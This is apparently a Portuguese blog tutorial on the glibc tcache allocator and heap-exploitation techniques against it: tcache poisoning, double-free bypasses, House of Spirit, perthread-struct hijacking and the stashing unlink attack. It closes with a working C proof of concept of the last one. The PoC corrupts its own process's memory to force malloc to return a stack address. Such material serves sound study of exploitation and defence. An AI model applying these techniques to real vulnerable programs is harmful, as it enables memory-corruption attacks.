Arquitetura do Tcache no glibc e Técnicas de Exploração em Memória

Arquitetura e Funcionamento do Tcache

Introduzido no glibc a partir da versão 2.26, o Thread Local Cache (tcache) é um mecanismo de otimização projetado para acelerar drasticamente as operações de alocação e liberação de memória. Sua prioridade de execução é máxima: ao liberar um chunk que não seja classificado como large chunk, o alocador verifica primeiramente a capacidade do tcache. Apenas se o tcache estiver cheio ou incompatível, o gerenciamento recorrerá às fastbins, unsorted bin, entre outras. Da mesma forma, solicitações de memória (exceto via mmap) consultam o tcache antes de qualquer outra estrutura.

No código-fonte do glibc, o tcache é estruturado e mantido por duas definições principais:

/* Estrutura sobreposta à porção de dados do usuário quando o chunk está no cache por thread. */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* Estrutura por thread que gerencia o cache (tcache_perthread_struct). 
   Mantém o tamanho geral baixo. COUNTS e ENTRIES são redundantes, mas mantidos para performance. */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

// No glibc 2.26 a 2.29: counts tem 1 byte. Tamanho total: 1*64 + 8*64 = 0x250 (com cabeçalho).
// No glibc 2.30+: counts tem 2 bytes. Tamanho total: 2*64 + 8*64 = 0x290 (com cabeçalho).

O tcache_entry é inserido na área de dados do usuário do chunk, atuando de forma similar ao ponteiro fd das fastbins. Uma diferença crucial é que os ponteiros no tcache apontam diretamente para o endereço de início dos dados do usuário, e não para o cabeçalho do chunk.

Cada thread possui sua própria tcache_perthread_struct, alocada no início do segmento de heap. Chunks menores que o limite das largebins são direcionados para cá. Cada tamanho possui sua própria lista no tcache, com um limite máximo de 7 chunks. O array counts armazena a quantidade atual de chunks por tamanho, enquanto entries guarda o ponteiro para o início da lista encadeada.

As operações centrais de manipulação são:

static void tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

static void * tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

A função tcache_put é acionada durante o free, utilizando chunk2mem para garantir que o ponteiro aponte para a memória do usuário. A tcache_get é usada no malloc para recuperar chunks livres.

Chunks liberados para o tcache não sofrem coalescimento (união) com blocos adjacentes livres. Essa regra também se aplica ao Top chunk. Durante a alocação, se o tcache estiver vazio, o glibc pode mover chunks de fastbins, smallbins ou unsorted bin para o tcache. O comportamento de retorno depende da origem:

Cenário Se o Tcache estiver cheio Após inserção no Tcache (se não cheio), de onde o chunk é retornado?
Fastbin Interrompe a movimentação e retorna o chunk obtido inicialmente. Retorna o chunk obtido inicialmente; os demais permanecem no Tcache.
Smallbin Interrompe a movimentação e retorna o chunk obtido inicialmente. Retorna o chunk obtido inicialmente; os demais permanecem no Tcache.
Unsorted Bin Retorna diretamente o chunk atual encontraod. Retorna um chunk do início da lista do Tcache (LIFO).

Vetores de Ataque e Exploração

Tcache Poisoning

Consiste em modificar o ponteiro next para forçar o malloc a retornar um endereço arbitrário.

  • glibc 2.26 a 2.27 (versões iniciais): Não existem proteções. Alterar o next permite alocação arbitrária sem restrições de tamanho, superando as limitações das fastbin attacks.
  • glibc 2.27 (versões finais) a 2.29: O campo bk do chunk passa a armazenar o endereço da tcache_perthread_struct. Isso não impede o poisoning, mas permite o vazamento do endereço base do heap. (Nota: a partir do 2.34, o bk é randomizado). Este valor uniforme de bk atua como uma key para mitigar double free.
  • glibc 2.31: Introduzida a verificação do count. Se count == 0, a função retorna antes de acessar entries. O atacante deve garantir que o next inicial do chunk envenenado não seja nulo para satisfazer a condição.
  • glibc 2.32+: Implementação de criptografia de ponteiros e verificação de alinhamento. O ponteiro next é ofuscado: next = (addr >> 12) ^ target, onde addr é o endereço do usuário do chunk atual. É necessário vazar um endereço de heap próximo para deduzir a chave (addr >> 12).

Tcache Double Free

  • glibc 2.26 a 2.27 (inicial): Nenhuma verificação é realizada; liberar o mesmo chunk múltiplas vezes é permitido.
  • glibc 2.27+: O free valida se o bk do chunk corersponde à key global. Se corresponder, o glibc percorre a lista do tcache para verificar duplicidade. Para contornar, o atacante precisa sobrescrever o bk do chunk antes de liberá-lo novamente.

Tcache House of Spirit

A técnica é simplificada em relação às fastbins. Ao forjar um chunk para o tcache, não há validação rigorosa sobre o campo de tamanho (size) do next_chunk.

Hijacking da tcache_perthread_struct

Se o atacante conseguir alocar memória sobre a tcache_perthread_struct (geralmente via arbitrary alloc), é possível manipular diretamente os arrays counts e entries. Isso permite bypass de limites de alocação ou injeção de ponteiros para alocação arbitrária. Como a estrutura reside no início do heap, técnicas de partial overwrite são frequentemente suficientes para atingi-la.

Tcache Stashing Unlink Attack

Aplicável nas versões 2.27 a 2.33. Esta técnica explora a transição de chunks da smallbin para o tcache durante chamadas de calloc. O calloc não consulta o tcache diretamente, mas ao buscar na smallbin, se o tcache tiver espaço, o glibc move chunks da smallbin para o tcache. A validação de integridade da lista (unlink check) é aplicada apenas ao último chunk da smallbin (bck->fd == victim). Chunks intermediários não são verificados, permitindo a injeção de um fake chunk.

#include <stdio.h>
#include <stdlib.h>

int main() {
    unsigned long stack_buffer[0x10] = {0};
    unsigned long *heap_ptrs[0x10] = {0};
    unsigned long *arbitrary_alloc;

    printf("=== Tcache Stashing Unlink Attack ===\n\n");

    // Emula um fake chunk na stack.
    // Configura o ponteiro 'bk' (índice 3) para apontar para o índice 2.
    // Isso satisfaz a verificação bck->fd = bin e permite vazar um endereço da libc
    // para stack_buffer[4] durante a operação de unlink.
    stack_buffer[3] = (unsigned long)(&stack_buffer[2]);

    printf("Endereco do fake chunk: %p\n", (void*)stack_buffer);
    printf("Valor inicial no alvo do vazamento (indice 4): %p\n\n", (void*)stack_buffer[4]);

    // Passo 1: Alocar 9 chunks de 0x90 bytes
    for (int i = 0; i < 9; i++) {
        heap_ptrs[i] = (unsigned long*)malloc(0x90);
    }

    // Passo 2: Popula o tcache com 6 chunks
    for (int i = 3; i < 9; i++) {
        free(heap_ptrs[i]);
    }

    // Passo 3: Preenche o tcache completamente (max 7 chunks)
    free(heap_ptrs[1]);

    // Passo 4: Move os chunks restantes para a unsorted bin
    free(heap_ptrs[0]);
    free(heap_ptrs[2]);

    // Passo 5: Trigger de consolidação para mover chunks da unsorted para a smallbin
    malloc(0xa0);

    // Passo 6: Libera espaço no tcache alocando 2 chunks
    malloc(0x90);
    malloc(0x90);

    // Passo 7: Vulnerabilidade - Sobrescreve o ponteiro 'bk' de um chunk na smallbin
    // O alvo é heap_ptrs[2], que agora reside na smallbin.
    heap_ptrs[2][1] = (unsigned long)stack_buffer;

    printf("Ponteiro 'bk' do chunk na smallbin sobrescrito para: %p\n\n", (void*)stack_buffer);

    // Passo 8: Trigger do mecanismo de stashing usando calloc
    // calloc ignora o tcache e requisita da smallbin.
    // O primeiro chunk é retornado ao usuário, e o segundo (nosso chunk forjado)
    // é movido (stashed) para o tcache.
    calloc(1, 0x90);

    printf("Fake chunk movido com sucesso para o tcache.\n");
    printf("Endereco da libc vazado no indice 4: %p\n\n", (void*)stack_buffer[4]);

    // Passo 9: Alocar o chunk forjado a partir do tcache
    arbitrary_alloc = malloc(0x90);

    printf("Alocacao controlada retornou: %p\n", (void*)arbitrary_alloc);

    return 0;
}

Os requisitos fundamentais para esta técnica incluem: a presença de pelo menos dois chunks na smallbin; a capacidade de sobrescrever o bk de um chunk que não seja o cauda da lista (preferencialmente o cabeça); a configuração do bk do fake chunk para um endereço gravável (pois o glibc escreverá um andereço da main_arena em bk->fd); e o uso de calloc para forçar o movimento do chunk forjado para o tcache, posicionando-o no início da lista para a subsequente alocação via malloc.

Tags: glibc tcache heap-exploitation pwn memory-corruption

Publicado em 9-6 17:57